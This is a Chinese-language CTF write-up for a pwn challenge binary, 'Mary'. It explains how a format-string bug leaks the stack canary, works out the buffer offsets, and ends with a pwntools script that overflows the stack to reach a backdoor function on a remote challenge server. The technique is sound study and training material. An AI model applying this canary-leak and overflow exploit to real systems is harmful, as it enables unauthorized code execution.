首先查看他的保护机制:(checksec)
有canary保护
然后我们拖进ida发现两处溢出点:
看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stack_chk_fail
找到后门函数
思路:将两个漏洞结合利用,首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数
根据程序可以看出,v2应该就是canary的值,一开始,将_readfsqword(0x28u)的值给v2,后来又和v2做异或操作,只有v2与它还相等,程序返回0,否则返回不为零的数。
(图自https://blog.csdn.net/qq_43935969/article/details/104338030)
确定canary和输入参数的偏移:
发现6161616161的位置,所以偏移量是6
根据注释我们知道:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp(64位程序),最后加上system的返回地址(后门函数地址)就get flag啦!
exp
from pwn import*
#p = process('./Mary')
p = remote('220.249.52.133','54670')
p.recvuntil('3. Exit the battle')
p.sendline('2')
p.sendline('%23$p')
p.recvuntil('0x')
canary = int(p.recv(16),16)
print(canary)
flag_addr = 0x4008da
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(flag_addr)
p.recvuntil('3. Exit the battle')
p.sendline('1')
p.sendline(payload)
p.interactive()